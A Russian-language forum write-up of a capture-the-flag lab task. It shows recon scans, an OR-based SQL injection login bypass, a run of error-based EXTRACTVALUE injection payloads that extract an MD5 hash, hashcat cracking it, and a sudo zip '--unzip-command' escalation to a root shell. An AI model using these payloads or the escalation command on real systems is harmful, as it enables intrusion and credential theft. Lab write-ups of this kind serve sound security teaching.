r0dd9
Green Team
- 14.08.2019
- 34
- 23
- Специализация
- Пентест
Прямая ссылка на задание
1. recon ssh web
2. burp + sqli
3. sql-инъекция типа or
4. error-based sql Injection
5. hashcat
6. ssh + lpe
Сервер 62.173.140.174
К нам в руки совершенно случайно попал маршрут к так называемому "секретному кабинету", но для входа нужен пароль. Сможешь ли ты добыть его?
На портах висит ssh и web
На web есть редиректы на страницу входа
Перехватив запрос через burp получаем POST запрос с параметрами
username=josh&password=123
и cookie
Cookie: PHPSESSID=0u6bos5jn94n73nrobnubp3de1
Отправим запрос в intruder и проверим на sqli по словарю SQLite Injection из PayloadsAllTheThings
Есть sql injection в поле username
Пробуем авторизоватся через SQL-инъекцию типа OR, которая обходит аутентификацию.
username=josh'+OR+'1'='1&password=123
Forward Request получаем успешную авторизацию в Секретный кабинет в котором ничего нет
Найдем базу а в ней хеш пароля пользователя
база
таблица
первая колонка
вторая колонка
третья колонка
имя пользователя
хеш пароля по частям так-как за один запрос он не вмещается в поле ошибки
~21cde84360
~f7f4cddc4f
~89ea12dda1
~fa
Брут хеша
Получаем пароль joshwin от пользователя josh
Зайдем под josh через ssh на сервер и проверим какие у него есть права
Проверка прав пользователя josh через sudo -l
Это означает:
josh может запускать zip от имени любого пользователя (ALL), без пароля (NOPASSWD).
Можем выполнить LPE - Local Privilege Escalation
Создаем файл заглушку и даем setui на /bin/bash
zip запускает chmod u+s /bin/bash от root.
Затем:
Запускаем root shell и получаем флаг
CTF решен!
1. recon ssh web
2. burp + sqli
3. sql-инъекция типа or
4. error-based sql Injection
5. hashcat
6. ssh + lpe
Цель
Сервер 62.173.140.174К нам в руки совершенно случайно попал маршрут к так называемому "секретному кабинету", но для входа нужен пароль. Сможешь ли ты добыть его?
Разведка цели
На портах висит ssh и web
Bash:
nmap -sS -sV -sC -p 28722 62.173.140.174
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-26 23:44 +0000
Nmap scan report for hackerlab.pro (62.173.140.174)
Host is up (0.028s latency).
PORT STATE SERVICE VERSION
28722/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 09:2d:e4:4d:88:fb:ab:fb:c8:22:d8:67:63:31:29:37 (ECDSA)
|_ 256 d2:be:d1:96:fd:8b:1f:33:ce:89:ff:f3:61:04:89:fa (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.71 seconds
Bash:
nmap -sS -sV -sC -p 28780, 28722 62.173.140.174
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-26 23:44 +0000
Nmap scan report for hackerlab.pro (62.173.140.174)
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
28780/tcp open http Apache httpd
|_http-server-header: Apache
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (1 host up) scanned in 127.18 seconds
Bash:
gobuster dir -u http://secretcabinet.local:28780 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://secretcabinet.local:28780
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta (Status: 403) [Size: 271]
.hta.php (Status: 403) [Size: 271]
.hta.txt (Status: 403) [Size: 271]
.hta.html (Status: 403) [Size: 271]
.htaccess (Status: 403) [Size: 271]
.htaccess.txt (Status: 403) [Size: 271]
.htpasswd.php (Status: 403) [Size: 271]
.htaccess.html (Status: 403) [Size: 271]
.htaccess.php (Status: 403) [Size: 271]
.htpasswd (Status: 403) [Size: 271]
.htpasswd.html (Status: 403) [Size: 271]
.htpasswd.txt (Status: 403) [Size: 271]
index.php (Status: 302) [Size: 0] [--> login.php]
index.php (Status: 302) [Size: 0] [--> login.php]
javascript (Status: 301) [Size: 324] [--> http://secretcabinet.local:28780/javascript/]
login.php (Status: 200) [Size: 595]
server-status (Status: 403) [Size: 271]
static (Status: 301) [Size: 320] [--> http://secretcabinet.local:28780/static/]
Progress: 18452 / 18452 (100.00%)
===============================================================
Finished
===============================================================
Выбираем вектор атаки
Этап 1: burp + sqli
Перехватив запрос через burp получаем POST запрос с параметрамиusername=josh&password=123
и cookie
Cookie: PHPSESSID=0u6bos5jn94n73nrobnubp3de1
Отправим запрос в intruder и проверим на sqli по словарю SQLite Injection из PayloadsAllTheThings
Есть sql injection в поле username
Этап 2: Вход в секретный кабинет
Пробуем авторизоватся через SQL-инъекцию типа OR, которая обходит аутентификацию.username=josh'+OR+'1'='1&password=123
Forward Request получаем успешную авторизацию в Секретный кабинет в котором ничего нет
Этап 3: Error-based SQL Injection
Найдем базу а в ней хеш пароля пользователябаза
Bash:
username=josh'+AND+EXTRACTVALUE(1,CONCAT(0x7e,database()))+--+&password=123
Bash:
username=josh'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+table_name+FROM+information_schema.tables+WHERE+table_schema='secretOffice'+LIMIT+0,1)))--+&password=123
Bash:
username=josh'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+column_name+FROM+information_schema.columns+WHERE+table_name='users'+LIMIT+0,1)))--+&password=123
Bash:
username=josh'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+column_name+FROM+information_schema.columns+WHERE+table_name='users'+LIMIT+1,1)))--+&password=123
Bash:
username=josh'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+column_name+FROM+information_schema.columns+WHERE+table_name='users'+LIMIT+2,1)))--+&password=123
Bash:
username=josh'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+username+FROM+users+LIMIT+0,1)))--+&password=123
Bash:
username=josh'+AND+EXTRACTVALUE(1,CONCAT(0x7e,SUBSTRING((SELECT+password+FROM+users+LIMIT+0,1),1,10)))--+&password=123
Bash:
username=josh'+AND+EXTRACTVALUE(1,CONCAT(0x7e,SUBSTRING((SELECT+password+FROM+users+LIMIT+0,1),11,10)))--+&password=123
Bash:
username=josh'+AND+EXTRACTVALUE(1,CONCAT(0x7e,SUBSTRING((SELECT+password+FROM+users+LIMIT+0,1),21,10)))--+&password=123
Bash:
username=josh'+AND+EXTRACTVALUE(1,CONCAT(0x7e,SUBSTRING((SELECT+password+FROM+users+LIMIT+0,1),31,10)))--+&password=123
Брут хеша
Bash:
┌──(kali㉿kali)-[~/Documents/secretcab]
└─$ echo "21cde84360f7f4cddc4f89ea12dda1fa" > hash.txt
┌──(kali㉿kali)-[~/Documents/secretcab]
└─$ ls
cookies.txt hash.txt
┌──(kali㉿kali)-[~/Documents/secretcab]
└─$ hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #01: cpu--0x000, 1464/2928 MB (512 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory allocated for this attack: 513 MB (1021 MB free)
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 0 secs
21cde84360f7f4cddc4f89ea12dda1fa:joshwin
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 21cde84360f7f4cddc4f89ea12dda1fa
Time.Started.....: Wed Jun 24 12:05:00 2026 (0 secs)
Time.Estimated...: Wed Jun 24 12:05:00 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 3439.2 kH/s (0.21ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 909312/14344385 (6.34%)
Rejected.........: 0/909312 (0.00%)
Restore.Point....: 905216/14344385 (6.31%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: juan38 -> jmakul
Started: Wed Jun 24 12:04:38 2026
Stopped: Wed Jun 24 12:05:01 2026
Этап 4: SSH + LPE
Зайдем под josh через ssh на сервер и проверим какие у него есть праваПроверка прав пользователя josh через sudo -l
Bash:
┌──(kali㉿kali)-[~/Documents/secretcab]
└─$ ssh josh@62.173.140.174 -p 28722
josh@62.173.140.174's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.4.0-216-generic x86_64)
$ whoami
josh
$ sudo -l
Matching Defaults entries for josh on edfbf145315b:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User josh may run the following commands on edfbf145315b:
(ALL) NOPASSWD: /usr/bin/zip
$
Это означает:
josh может запускать zip от имени любого пользователя (ALL), без пароля (NOPASSWD).
Можем выполнить LPE - Local Privilege Escalation
Создаем файл заглушку и даем setui на /bin/bash
zip запускает chmod u+s /bin/bash от root.
Bash:
echo "x" > /tmp/poc
sudo zip /tmp/out.zip /tmp/poc -T --unzip-command="sh -c 'chmod u+s /bin/bash'"
Запускаем root shell и получаем флаг
Bash:
/bin/bash -p whoami # root
Использованные уязвимости
| # | Уязвимость | Краткое описание | MITRE ATT&CK |
|---|---|---|---|
| 1 | SQL Injection (Error-based) | Инъекция в username через EXTRACTVALUE и SUBSTRING. Извлечены: БД secretOffice, таблица users, колонки id, username, password и хеш пароля 21cde84360f7f4cddc4f89ea12dda1fa | T1190 — Exploit Public-Facing Application |
| 2 | Password Cracking (MD5) | Хеш расшифрован через hashcat -m 0 с rockyou.txt. Получен пароль joshwin | T1110.001 — Brute Force: Password Guessing |
| 3 | LPE GTFOBins: zip | josh имеет sudo zip без пароля. Использован флаг --unzip-command="sh -c 'chmod u+s /bin/bash'" для установки setuid на /bin/bash. Доступ к root через /bin/bash -p | T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching |
Инструменты: Burp Suite, hashcat, nmap, gobuster, GTFOBins
Вложения
Последнее редактирование: